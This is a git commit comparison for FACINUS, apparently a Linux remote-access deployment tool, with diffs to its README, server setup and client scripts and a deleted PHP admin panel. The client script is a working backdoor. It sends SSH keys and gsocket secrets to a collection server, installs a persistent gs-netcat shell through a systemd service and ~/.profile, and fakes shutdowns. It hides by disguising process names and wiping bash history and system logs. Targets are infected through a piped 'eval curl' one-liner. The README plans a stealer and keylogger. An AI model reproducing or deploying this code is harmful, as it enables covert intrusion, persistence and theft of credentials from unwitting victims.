Compare commits

...

11 Commits

Author SHA1 Message Date
5ab80f1121 update readme 2025-07-17 10:59:55 +03:00
3db189c993 Initial commit 2025-06-30 19:36:32 +03:00
93a4657fbf change ssh algorithm 2025-06-02 09:56:59 +03:00
2ea3854153 update todo checks 2025-04-21 03:15:57 +03:00
7dcaa31a6b set power button functionalitty to ignore state 2025-04-20 22:02:57 +03:00
569f91e24e fix file copying 2025-04-20 13:33:54 +03:00
59b636fb85 add redirects 2025-04-18 00:14:30 +03:00
882cd26caa fix secrets tab functionalitty 2025-04-09 05:29:38 +03:00
7af97e56a2 fix debian installation 2025-04-09 05:05:56 +03:00
836bed21b8 update readme 2025-04-09 03:04:10 +03:00
43ebdd8b19 refactor handling web logs && fix issues 2025-04-09 03:00:36 +03:00
13 changed files with 706 additions and 1044 deletions

View File

@@ -49,7 +49,7 @@ Obfuscated script created.
Deployment server setup complete! Deployment server setup complete!
============================================================== ==============================================================
Server URL: http://192.168.0.131/deployment Server URL: http://192.168.0.131/deployment
Admin Page: http://192.168.0.131/deployment/admin.php Admin Page: http://192.168.0.131/deployment/admin/admin.php
Admin Password: 2cn2lguMIdx9 Admin Password: 2cn2lguMIdx9
Client Setup Command: eval "$(curl -fsSL http://192.168.0.104/deployment/y)" Client Setup Command: eval "$(curl -fsSL http://192.168.0.104/deployment/y)"
============================================================== ==============================================================
@@ -59,13 +59,16 @@ Secret Token for accessing logs: NTVEYJWTYAk5OolAAKYodaSjPWKaKb4X
After accessing url you'll see a simple commands to copy and paste on the target. After accessing url you'll see a simple commands to copy and paste on the target.
On the admin panel you can check the logs and the secrets for gsocket access. On the admin panel you can check the logs and the secrets for gsocket access.
<img src="https://github.com/elleoma/facinus/blob/beta/screenshots/deployment.png"/> <img src="screenshots/deployment.png"/>
<img src="https://github.com/elleoma/facinus/blob/beta/screenshots/admin.png"/> <img src="screenshots/admin.png"/>
## TODO ## TODO
- [ ] fix path traversal vulnerability
- [ ] Do fake poweroff for all possible variants for Ubuntu/Debian with gnome. - [ ] Do fake poweroff for all possible variants for Ubuntu/Debian with gnome.
- [x] Add checks for other distros - [x] Add checks for other distros
- [ ] Make it a c2 server deployment tool
- [ ] Create cli/web tool for viewing pwned machines
- [ ] Add options to make some machine be a subserver which manages powering on/off other machines on the network
- [ ] Add a stealer, keylogger, etc.
- [ ] Obfuscation, process hiding, etc. - [ ] Obfuscation, process hiding, etc.
- [ ] Ability to install common precompiled binaries on a target without root access. - [ ] Ability to install common precompiled binaries on a target without root access.
- [x] Add options to the script (no root, no services, etc.) - [x] Add options to the script (no root, no services, etc.)

View File

@@ -47,7 +47,7 @@ echo "==============================================================
Deployment server setup complete! Deployment server setup complete!
============================================================== ==============================================================
Server URL: http://$SERVER_IP/deployment Server URL: http://$SERVER_IP/deployment
Admin Page: http://$SERVER_IP/deployment/admin.php Admin Page: http://$SERVER_IP/deployment/admin/admin.php
Admin Password: $ADMIN_PASSWORD Admin Password: $ADMIN_PASSWORD
Client Setup Command: eval \"\$(wget -qO- http://$SERVER_IP/deployment/y)\" Client Setup Command: eval \"\$(wget -qO- http://$SERVER_IP/deployment/y)\"
============================================================== ==============================================================

View File

@@ -56,9 +56,6 @@ install_debian_dependencies() {
PACKAGES=("apache2" "php" "libapache2-mod-php" "git" "build-essential" "curl" "ethtool") PACKAGES=("apache2" "php" "libapache2-mod-php" "git" "build-essential" "curl" "ethtool")
sudo DEBIAN_FRONTEND=noninteractive apt install -y "${PACKAGES[@]}" sudo DEBIAN_FRONTEND=noninteractive apt install -y "${PACKAGES[@]}"
# Enable PHP module
sudo a2enmod php
# Enable Apache modules # Enable Apache modules
sudo a2enmod rewrite sudo a2enmod rewrite
} }

View File

@@ -1,19 +1,12 @@
#!/bin/bash #!/bin/bash
# FACINUS Remote Access Client
# This script sets up remote access capabilities on the target system
# ================= CONFIGURATION =================
SERVER_URL="SERVER_PLACEHOLDER" SERVER_URL="SERVER_PLACEHOLDER"
LOG_ENDPOINT="$SERVER_URL/deployment/log_receiver.php" LOG_ENDPOINT="$SERVER_URL/deployment/log_receiver.php"
AUTH_TOKEN="TOKEN_PLACEHOLDER" AUTH_TOKEN="TOKEN_PLACEHOLDER"
VERSION="1.1.0"
# ================================================
# Create temporary directory
TEMP_DIR=$(mktemp -d) TEMP_DIR=$(mktemp -d)
trap 'rm -rf "$TEMP_DIR"' EXIT trap 'rm -rf "$TEMP_DIR"' EXIT
# ------- UTILITY FUNCTIONS -------
log_cmd() { log_cmd() {
local cmd="$1" local cmd="$1"
local desc="$2" local desc="$2"
@@ -23,7 +16,6 @@ log_cmd() {
echo "$ $cmd" >> "$log_file" echo "$ $cmd" >> "$log_file"
echo "--------------------------------------------" >> "$log_file" echo "--------------------------------------------" >> "$log_file"
# Execute command and capture output and status
local output local output
output=$(eval "$cmd" 2>&1) output=$(eval "$cmd" 2>&1)
local status=$? local status=$?
@@ -63,7 +55,6 @@ send_logs() {
local sysinfo=$(get_system_info) local sysinfo=$(get_system_info)
local hostname=$(hostname) local hostname=$(hostname)
# Submit logs to the server
curl -s -X POST "$LOG_ENDPOINT" \ curl -s -X POST "$LOG_ENDPOINT" \
-F "auth_token=$AUTH_TOKEN" \ -F "auth_token=$AUTH_TOKEN" \
-F "hostname=$hostname" \ -F "hostname=$hostname" \
@@ -75,7 +66,6 @@ send_logs() {
} }
detect_package_manager() { detect_package_manager() {
# Detect the system's package manager
if command -v apt &> /dev/null; then if command -v apt &> /dev/null; then
echo "apt" echo "apt"
elif command -v dnf &> /dev/null; then elif command -v dnf &> /dev/null; then
@@ -91,7 +81,6 @@ detect_package_manager() {
fi fi
} }
# ------- INSTALLATION FUNCTIONS -------
install_ssh() { install_ssh() {
local log_file="$TEMP_DIR/ssh_install.log" local log_file="$TEMP_DIR/ssh_install.log"
touch "$log_file" touch "$log_file"
@@ -135,18 +124,15 @@ install_ssh() {
;; ;;
esac esac
# Get SSH key if it exists
if [ -f ~/.ssh/id_rsa.pub ]; then if [ -f ~/.ssh/id_rsa.pub ]; then
send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key"
else else
# Try to create a new key if it doesn't exist log_cmd "ssh-keygen -t ed25519 -N '' -f ~/.ssh/id_ed25519" "Generating SSH key" "$log_file"
log_cmd "ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa" "Generating SSH key" "$log_file"
if [ -f ~/.ssh/id_rsa.pub ]; then if [ -f ~/.ssh/id_rsa.pub ]; then
send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" send_logs "$log_file" "$(cat ~/.ssh/id_ed25519.pub)" "ssh_key"
fi fi
fi fi
# Send SSH configuration
local ssh_port=$(grep -E "^Port " /etc/ssh/sshd_config | awk '{print $2}') local ssh_port=$(grep -E "^Port " /etc/ssh/sshd_config | awk '{print $2}')
[ -z "$ssh_port" ] && ssh_port=22 [ -z "$ssh_port" ] && ssh_port=22
@@ -161,7 +147,6 @@ setup_wol() {
echo "[*] Setting up Wake-on-LAN..." echo "[*] Setting up Wake-on-LAN..."
# Install ethtool if needed
local pkg_manager=$(detect_package_manager) local pkg_manager=$(detect_package_manager)
case "$pkg_manager" in case "$pkg_manager" in
apt) apt)
@@ -189,7 +174,6 @@ setup_wol() {
;; ;;
esac esac
# Get the primary interface
local interface=$(ip route | grep default | awk '{print $5}' | head -n1) local interface=$(ip route | grep default | awk '{print $5}' | head -n1)
if [ -z "$interface" ]; then if [ -z "$interface" ]; then
@@ -197,13 +181,10 @@ setup_wol() {
return 1 return 1
fi fi
# Check current WoL status
if ethtool "$interface" | grep -q "Wake-on: g"; then if ethtool "$interface" | grep -q "Wake-on: g"; then
echo "[+] Wake-on-LAN is already enabled on $interface." echo "[+] Wake-on-LAN is already enabled on $interface."
# Try to enable WoL
log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file" log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file"
# Create persistent configuration
cat > "$TEMP_DIR/wol.service" << EOF cat > "$TEMP_DIR/wol.service" << EOF
[Unit] [Unit]
Description=Enable Wake-on-LAN on $interface Description=Enable Wake-on-LAN on $interface
@@ -223,9 +204,7 @@ EOF
log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file" log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file"
log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file" log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file"
# Get MAC address for WoL
local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}') local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}')
send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config" send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config"
echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)." echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)."
@@ -241,7 +220,6 @@ setup_fake_poweroff() {
echo "[*] Setting up fake poweroff..." echo "[*] Setting up fake poweroff..."
# Create the fake poweroff script
cat > "$TEMP_DIR/fake-poweroff.sh" << 'EOF' cat > "$TEMP_DIR/fake-poweroff.sh" << 'EOF'
#!/bin/bash #!/bin/bash
# This script intercepts poweroff/shutdown commands and fakes a shutdown # This script intercepts poweroff/shutdown commands and fakes a shutdown
@@ -315,6 +293,9 @@ sudo mv "$TEMP_DIR/shutdown-wrapper" /usr/sbin/shutdown
EOF EOF
log_cmd "sudo bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file" log_cmd "sudo bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file"
log_cmd "sudo sed -i 's/^#HandlePowerKey=poweroff/HandlePowerKey=ignore/' /etc/systemd/logind.conf" "Disabling pressing power key" "$log_file"
log_cmd "sudo sed -i 's/^#HandlePowerKeyLongPress=poweroff/HandlePowerKeyLongPress=ignore/' /etc/systemd/logind.conf" "Disabling long press power key" "$log_file"
log_cmd "sudo sed -i 's/^#HandleLidSwitch=suspend/HandleLidSwitch=ignore/' /etc/systemd/logind.conf" "Disabling lid switch" "$log_file"
send_logs "$log_file" "Fake poweroff installed" "fake_poweroff" send_logs "$log_file" "Fake poweroff installed" "fake_poweroff"
@@ -328,7 +309,6 @@ install_gsocket() {
echo "[*] Installing gsocket for remote access..." echo "[*] Installing gsocket for remote access..."
# Install dependencies
local pkg_manager=$(detect_package_manager) local pkg_manager=$(detect_package_manager)
case "$pkg_manager" in case "$pkg_manager" in
apt) apt)
@@ -349,18 +329,15 @@ install_gsocket() {
;; ;;
esac esac
# build gsocket
if ! command -v gs-netcat &>/dev/null; then if ! command -v gs-netcat &>/dev/null; then
log_cmd "wget -q -O $TEMP_DIR/gsocket_linux-$(uname -m).tar.gz \"https://github.com/hackerschoice/gsocket/archive/refs/tags/v1.4.43.tar.gz\"" "Download gsocket" "$log_file" log_cmd "wget -q -O $TEMP_DIR/gsocket_linux-$(uname -m).tar.gz \"https://github.com/hackerschoice/gsocket/archive/refs/tags/v1.4.43.tar.gz\"" "Download gsocket" "$log_file"
log_cmd "cd $TEMP_DIR && tar xfz gsocket_linux-*.tar.gz" "Extracting gsocket" "$log_file" log_cmd "cd $TEMP_DIR && tar xfz gsocket_linux-*.tar.gz" "Extracting gsocket" "$log_file"
log_cmd "cd $TEMP_DIR/gsocket-* && ./bootstrap && ./configure && make && sudo make install" "Building and install gsocket" "$log_file" log_cmd "cd $TEMP_DIR/gsocket-* && ./bootstrap && ./configure && make && sudo make install" "Building and install gsocket" "$log_file"
fi fi
# Generate a unique secret
local gs_root_secret=$(gs-netcat -g) local gs_root_secret=$(gs-netcat -g)
local gs_user_secret=$(gs-netcat -g) local gs_user_secret=$(gs-netcat -g)
# Create systemd service for persistent connection
cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF
[Unit] [Unit]
Description=GSocket Remote Access Description=GSocket Remote Access
@@ -383,17 +360,12 @@ EOF
log_cmd "sudo systemctl enable gsocket-backdoor.service" "Enabling gsocket service" "$log_file" log_cmd "sudo systemctl enable gsocket-backdoor.service" "Enabling gsocket service" "$log_file"
log_cmd "sudo systemctl start gsocket-backdoor.service" "Starting gsocket service" "$log_file" log_cmd "sudo systemctl start gsocket-backdoor.service" "Starting gsocket service" "$log_file"
# Also put a gs-netcat backdoor in user's .profile
log_cmd "echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS=\"-s $gs_user_secret -liqD\" SHELL=/bin/bash exec -a bash gs-netcat)' >> ~/.profile" "Add backdoor to .profile" "$log_file" log_cmd "echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS=\"-s $gs_user_secret -liqD\" SHELL=/bin/bash exec -a bash gs-netcat)' >> ~/.profile" "Add backdoor to .profile" "$log_file"
log_cmd "source ~/.profile" "Reloading .profile" "$log_file" log_cmd "source ~/.profile" "Reloading .profile" "$log_file"
# Create connection instructions
cat > "$TEMP_DIR/gsocket_info.txt" << EOF cat > "$TEMP_DIR/gsocket_info.txt" << EOF
GSocket Connection Information GSocket Connection Information
============================= =============================
Root secret: $gs_root_secret
User secret: $gs_user_secret
Connect as root: gs-netcat -s $gs_root_secret -i Connect as root: gs-netcat -s $gs_root_secret -i
Connect as user: gs-netcat -s $gs_user_secret -i Connect as user: gs-netcat -s $gs_user_secret -i
============================= =============================
@@ -404,7 +376,7 @@ EOF
send_logs "$log_file" "$gs_user_secret" "gsocket_user_secret" send_logs "$log_file" "$gs_user_secret" "gsocket_user_secret"
send_logs "$log_file" "$(cat $TEMP_DIR/gsocket_info.txt)" "gsocket_info" send_logs "$log_file" "$(cat $TEMP_DIR/gsocket_info.txt)" "gsocket_info"
echo "[+] GSocket installed. You can connect using: gs-netcat -s $gs_root_secret" echo "[+] GSocket installed. You can connect using: gs-netcat -s $gs_root_secret -i"
} }
setup_stealth() { setup_stealth() {
@@ -412,47 +384,18 @@ setup_stealth() {
touch "$log_file" touch "$log_file"
echo "[*] Setting up stealth mode..." echo "[*] Setting up stealth mode..."
# Hide processes by creating a systemd unit with hidden name
cat > "$TEMP_DIR/_.service" << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do sleep 3600; done'
Restart=always
RestartSec=10
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
EOF
sudo mv "$TEMP_DIR/_.service" /etc/systemd/system/
log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
log_cmd "sudo systemctl enable _.service" "Enabling hidden service" "$log_file"
log_cmd "sudo systemctl start _.service" "Starting hidden service" "$log_file"
# Set up process name obfuscation script
cat > "$TEMP_DIR/obfuscate.sh" << 'EOF' cat > "$TEMP_DIR/obfuscate.sh" << 'EOF'
#!/bin/bash #!/bin/bash
# This script allows running commands with an obfuscated process name
# Function to run a command with an obfuscated name
obfuscate_run() { obfuscate_run() {
local fake_name="$1" local fake_name="$1"
shift shift
exec -a "$fake_name" "$@" exec -a "$fake_name" "$@"
} }
# Install the function to user's bashrc
if ! grep -q "obfuscate_run" ~/.bashrc; then if ! grep -q "obfuscate_run" ~/.bashrc; then
cat >> ~/.bashrc << 'EOT' cat >> ~/.bashrc << 'EOT'
# Obfuscation function
obfuscate_run() { obfuscate_run() {
local fake_name="$1" local fake_name="$1"
shift shift
@@ -461,7 +404,6 @@ obfuscate_run() {
EOT EOT
fi fi
# Create helper aliases
if ! grep -q "alias stealthy" ~/.bashrc; then if ! grep -q "alias stealthy" ~/.bashrc; then
cat >> ~/.bashrc << 'EOT' cat >> ~/.bashrc << 'EOT'
alias stealthy='obfuscate_run "[khugepageds]"' alias stealthy='obfuscate_run "[khugepageds]"'
@@ -469,13 +411,11 @@ alias hidden='obfuscate_run "[migration/0]"'
EOT EOT
fi fi
# Install a cron job to clear bash history periodically
(crontab -l 2>/dev/null; echo "0 * * * * cat /dev/null > ~/.bash_history") | crontab - (crontab -l 2>/dev/null; echo "0 * * * * cat /dev/null > ~/.bash_history") | crontab -
EOF EOF
log_cmd "bash $TEMP_DIR/obfuscate.sh" "Setting up process obfuscation" "$log_file" log_cmd "bash $TEMP_DIR/obfuscate.sh" "Setting up process obfuscation" "$log_file"
# Create log rotation to clean service logs
cat > "$TEMP_DIR/clean-logs.service" << 'EOF' cat > "$TEMP_DIR/clean-logs.service" << 'EOF'
[Unit] [Unit]
Description=Clean System Logs Description=Clean System Logs
@@ -489,7 +429,6 @@ ExecStart=/bin/bash -c 'journalctl --vacuum-time=1d'
[Install] [Install]
WantedBy=default.target WantedBy=default.target
EOF EOF
sudo mv "$TEMP_DIR/clean-logs.service" /etc/systemd/system/ sudo mv "$TEMP_DIR/clean-logs.service" /etc/systemd/system/
cat > "$TEMP_DIR/clean-logs.timer" << 'EOF' cat > "$TEMP_DIR/clean-logs.timer" << 'EOF'
@@ -515,30 +454,20 @@ EOF
echo "[+] Stealth mode configured." echo "[+] Stealth mode configured."
} }
# ------- MAIN EXECUTION -------
main() { main() {
local log_file="$TEMP_DIR/main.log" local log_file="$TEMP_DIR/main.log"
touch "$log_file" touch "$log_file"
echo "[*] Beginning setup..." echo "[*] Beginning setup..."
echo "[*] Target system: $(hostname) ($(whoami))" echo "[*] Target system: $(hostname) ($(whoami))"
sudo apt install -y curl jq &> /dev/null || true sudo apt install -y curl jq &> /dev/null || true
# Send initial system info
send_logs "$log_file" "$(get_system_info)" "system_info" send_logs "$log_file" "$(get_system_info)" "system_info"
# Install components based on flags
install_ssh install_ssh
setup_wol setup_wol
setup_fake_poweroff setup_fake_poweroff
install_gsocket install_gsocket
setup_stealth setup_stealth
echo "[+] Setup complete." echo "[+] Setup complete."
echo "[+] All logs and credentials have been sent to the server." echo "[+] All logs and credentials have been sent to the server."
} }
# Run the main function
main main

View File

@@ -1,16 +1,12 @@
#!/bin/bash #!/bin/bash
# Detect system distro and architecture
detect_system() { detect_system() {
# Detect architecture
ARCH=$(uname -m) ARCH=$(uname -m)
# Detect distribution
if [ -f /etc/os-release ]; then if [ -f /etc/os-release ]; then
. /etc/os-release . /etc/os-release
DISTRO_NAME=${ID,,} # Convert to lowercase DISTRO_NAME=${ID,,} # Convert to lowercase
# Check if it's an Arch-based distro
for arch_distro in "${ARCH_DISTROS[@]}"; do for arch_distro in "${ARCH_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$arch_distro"* ]]; then if [[ "$DISTRO_NAME" == *"$arch_distro"* ]]; then
DISTRO="arch" DISTRO="arch"
@@ -18,7 +14,6 @@ detect_system() {
fi fi
done done
# Check if it's a Debian-based distro
for deb_distro in "${DEB_DISTROS[@]}"; do for deb_distro in "${DEB_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$deb_distro"* ]]; then if [[ "$DISTRO_NAME" == *"$deb_distro"* ]]; then
DISTRO="debian" DISTRO="debian"
@@ -26,7 +21,6 @@ detect_system() {
fi fi
done done
# Check if it's an RPM-based distro
for rpm_distro in "${RPM_DISTROS[@]}"; do for rpm_distro in "${RPM_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$rpm_distro"* ]]; then if [[ "$DISTRO_NAME" == *"$rpm_distro"* ]]; then
DISTRO="redhat" DISTRO="redhat"
@@ -34,7 +28,6 @@ detect_system() {
fi fi
done done
# If we can't determine the distro family, just use the ID
DISTRO="$DISTRO_NAME" DISTRO="$DISTRO_NAME"
elif [ -f /etc/arch-release ]; then elif [ -f /etc/arch-release ]; then
DISTRO="arch" DISTRO="arch"

View File

@@ -6,32 +6,28 @@ generate_client_scripts() {
echo "Generating client deployment scripts..." echo "Generating client deployment scripts..."
generate_main_client_script generate_main_client_script
generate_obfuscated_script generate_obfuscated_script
generate_presets generate_presets
} }
generate_main_client_script() { generate_main_client_script() {
# Copy the script to the server cp "$DEPLOY_DIR/y" "$SERVER_ROOT"
sudo cp "$DEPLOY_DIR/y" "$SERVER_ROOT"
# Replace placeholders in the script # Replace placeholders in the script
sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$SERVER_ROOT/y" sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$SERVER_ROOT/y"
sed -i "s|TOKEN_PLACEHOLDER|$SECRET_TOKEN|g" "$SERVER_ROOT/y" sed -i "s|TOKEN_PLACEHOLDER|$SECRET_TOKEN|g" "$SERVER_ROOT/y"
sudo chmod 644 "$SERVER_ROOT/y" chmod 644 "$SERVER_ROOT/y"
} }
generate_obfuscated_script() { generate_obfuscated_script() {
echo "Creating obfuscated version of the client script..." echo "Creating obfuscated version of the client script..."
# Base64 encode the script to obfuscate it
base64 -w0 < "$DEPLOY_DIR/y" > "$DEPLOY_DIR/y.b64" base64 -w0 < "$DEPLOY_DIR/y" > "$DEPLOY_DIR/y.b64"
sed -i "s|BASE64_PLACEHOLDER|$(cat "$DEPLOY_DIR/y.b64")|g" "$DEPLOY_DIR/x"
sudo cp "$DEPLOY_DIR/x" "$SERVER_ROOT/" cp "$DEPLOY_DIR/x" "$SERVER_ROOT/"
sudo chmod 644 "$SERVER_ROOT/x" sed -i "s|y.b64|$(cat $SERVER_ROOT/y.b64)|g" "$SERVER_ROOT/x"
chmod 644 "$SERVER_ROOT/x"
echo "Obfuscated script created." echo "Obfuscated script created."
} }
@@ -39,11 +35,10 @@ generate_obfuscated_script() {
generate_presets() { generate_presets() {
echo "Creating installation presets..." echo "Creating installation presets..."
# Replace placeholders
for preset in "$DEPLOY_DIR/minimal" "$DEPLOY_DIR/full" "$DEPLOY_DIR/quiet"; do for preset in "$DEPLOY_DIR/minimal" "$DEPLOY_DIR/full" "$DEPLOY_DIR/quiet"; do
sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$preset" sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$preset"
sudo cp "$preset" "$SERVER_ROOT/" cp "$preset" "$SERVER_ROOT/"
sudo chmod 644 "$SERVER_ROOT/$(basename "$preset")" chmod 644 "$SERVER_ROOT/$(basename "$preset")"
done done
echo "Installation presets created." echo "Installation presets created."

View File

@@ -1,907 +0,0 @@
<?php
// FACINUS Admin Panel
// This file allows viewing logs and connection information from deployed clients
// Session and authentication
session_start();
$admin_password = "ADMIN_PASSWORD_PLACEHOLDER"; // Will be replaced during installation
// Handle login
if (isset($_POST['password'])) {
if ($_POST['password'] === $admin_password) {
$_SESSION['authenticated'] = true;
} else {
$login_error = "Invalid password";
}
}
// Handle logout
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// Check authentication
$authenticated = isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;
// Directories
$logs_dir = __DIR__ . "/logs";
$secrets_dir = __DIR__ . "/secrets";
// Get list of hosts (each subdirectory in logs_dir is a host)
$hosts = [];
if ($authenticated && is_dir($logs_dir)) {
$dir_content = scandir($logs_dir);
foreach ($dir_content as $item) {
if ($item != "." && $item != ".." && is_dir($logs_dir . "/" . $item)) {
$hosts[] = $item;
}
}
}
// View specific log if requested
$current_log = null;
$log_content = "";
if ($authenticated && isset($_GET['log'])) {
$log_path = $logs_dir . "/" . $_GET['host'] . "/" . $_GET['log'];
if (file_exists($log_path) && is_file($log_path)) {
$current_log = $_GET['log'];
$log_content = file_get_contents($log_path);
}
}
// View system info if requested
$system_info = null;
if ($authenticated && isset($_GET['info']) && $_GET['info'] === 'system') {
$info_path = $logs_dir . "/" . $_GET['host'] . "/system_info.json";
if (file_exists($info_path) && is_file($info_path)) {
$system_info = json_decode(file_get_contents($info_path), true);
}
}
// View secrets if requested
$secrets = [];
if ($authenticated && isset($_GET['secrets']) && $_GET['host']) {
$host_secrets_dir = $secrets_dir . "/" . $_GET['host'];
if (is_dir($host_secrets_dir)) {
$secret_files = scandir($host_secrets_dir);
foreach ($secret_files as $file) {
if ($file != "." && $file != ".." && is_file($host_secrets_dir . "/" . $file)) {
$type = pathinfo($file, PATHINFO_FILENAME);
$value = file_get_contents($host_secrets_dir . "/" . $file);
$secrets[$type] = $value;
}
}
}
}
// For gsocket shell access
$shell_mode = false;
if ($authenticated && isset($_GET['shell']) && $_GET['host']) {
$shell_mode = true;
}
// Get logs for a specific host if requested
$host_logs = [];
if ($authenticated && isset($_GET['host'])) {
$host_logs_dir = $logs_dir . "/" . $_GET['host'];
if (is_dir($host_logs_dir)) {
$log_files = scandir($host_logs_dir);
foreach ($log_files as $file) {
if ($file != "." && $file != ".." && is_file($host_logs_dir . "/" . $file)) {
$host_logs[] = $file;
}
}
}
// Sort logs by most recent first
usort($host_logs, function($a, $b) use ($logs_dir) {
return filemtime($logs_dir . "/" . $_GET['host'] . "/" . $b) -
filemtime($logs_dir . "/" . $_GET['host'] . "/" . $a);
});
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FACINUS - Admin</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--bg: #111111;
--text: #33ff33;
--text-dim: #1a991a;
--secondary: #aaaaaa;
--accent: #ff5555;
--border: #333333;
--hover: #222222;
--panel: #191919;
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Courier New', monospace;
background-color: var(--bg);
color: var(--text);
line-height: 1.5;
}
.container {
width: 95%;
max-width: 1400px;
margin: 0 auto;
padding: 10px;
}
.header {
border-bottom: 1px solid var(--border);
padding: 10px 0;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
}
pre {
font-family: 'Courier New', monospace;
overflow-x: auto;
white-space: pre;
}
.ascii-header {
font-size: 12px;
line-height: 1.2;
}
.logout {
color: var(--text);
text-decoration: none;
border: 1px solid var(--border);
padding: 5px 10px;
}
.logout:hover {
background: var(--hover);
}
.dashboard {
display: flex;
gap: 20px;
}
.sidebar {
width: 280px;
flex-shrink: 0;
}
.content {
flex-grow: 1;
}
.panel {
border: 1px solid var(--border);
background: var(--panel);
margin-bottom: 20px;
}
.panel-header {
border-bottom: 1px solid var(--border);
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
}
.host-list, .log-list {
list-style: none;
}
.host-list a, .log-list a, .tab {
display: block;
padding: 8px 10px;
color: var(--secondary);
text-decoration: none;
border-bottom: 1px solid var(--border);
}
.host-list a:hover, .log-list a:hover, .tab:hover {
background: var(--hover);
color: var(--text);
}
.host-list a.active, .log-list a.active, .tab.active {
color: var(--text);
background: rgba(51, 255, 51, 0.1);
}
.tabs {
display: flex;
border-bottom: 1px solid var(--border);
}
.tab {
padding: 8px 15px;
border-right: 1px solid var(--border);
border-bottom: none;
}
.logs {
padding: 10px;
max-height: 600px;
overflow: auto;
white-space: pre-wrap;
font-family: 'Courier New', monospace;
font-size: 14px;
background: rgba(0, 0, 0, 0.2);
}
.log-date {
float: right;
color: var(--text-dim);
font-size: 0.9em;
}
.login {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border: 1px solid var(--border);
background: var(--panel);
}
input[type="password"] {
width: 100%;
padding: 8px;
margin: 10px 0;
background: var(--bg);
border: 1px solid var(--border);
color: var(--text);
font-family: 'Courier New', monospace;
}
button, .button {
padding: 8px 15px;
background: transparent;
color: var(--text);
border: 1px solid var(--text);
cursor: pointer;
font-family: 'Courier New', monospace;
width: 100%;
}
button:hover, .button:hover {
background: rgba(51, 255, 51, 0.1);
}
.welcome {
text-align: center;
padding: 50px 20px;
color: var(--secondary);
}
.secrets {
padding: 10px;
max-width: 800px;
margin: 0 auto;/
}
.secret {
margin-bottom: 15px;
padding: 8px;
border: 1px solid var(--border);
background: rgba(255, 255, 0, 0.05);
border-radius: 3px;
}
.secret-title {
margin-bottom: 8px;
border-bottom: 1px dashed var(--border);
padding-bottom: 4px;
font-size: 0.9em;
color: var(--text-dim);
}
.command {
background: rgba(0, 0, 0, 0.3);
border: 1px solid var(--border);
padding: 10px;
margin: 10px 0;
position: relative;
overflow-x: auto;
white-space: pre;
font-family: 'Courier New', monospace;
}
.secret .command {
margin: 5px 0;
padding: 8px;
font-size: 0.9em;
line-height: 1.4;
}
.copy-btn {
position: absolute;
right: 5px;
top: 5px;
background: transparent;
color: var(--secondary);
border: 1px solid var(--border);
padding: 2px 5px;
cursor: pointer;
font-size: 12px;
width: auto;
font-family: 'Courier New', monospace;
}
.copy-btn:hover {
background: var(--hover);
color: var(--text);
}
.alert {
border-left: 3px solid var(--accent);
padding: 10px;
margin-bottom: 15px;
color: var(--accent);
}
.terminal {
height: 500px;
background: #000;
color: var(--text);
padding: 10px;
overflow: auto;
font-family: 'Courier New', monospace;
margin-top: 10px;
}
.terminal-input {
background: transparent;
border: none;
color: var(--text);
width: 100%;
font-family: 'Courier New', monospace;
outline: none;
padding: 5px 0;
}
.gs-command {
margin: 10px 0;
}
.info-table {
width: 100%;
border-collapse: collapse;
}
.info-table tr {
border-bottom: 1px solid var(--border);
}
.info-table td {
padding: 8px 10px;
}
.info-label {
color: var(--secondary);
width: 150px;
}
@media (max-width: 800px) {
.dashboard {
flex-direction: column;
}
.sidebar {
width: 100%;
}
.ascii-header {
font-size: 10px;
}
.tabs {
flex-wrap: wrap;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="ascii-header">
<pre>
█████▒▄▄▄ ▄████▄ ██▓ ███▄ █ █ ██ ██████
▓██ ▒▒████▄ ▒██▀ ▀█ ▓██▒ ██ ▀█ █ ██ ▓██▒▒██ ▒
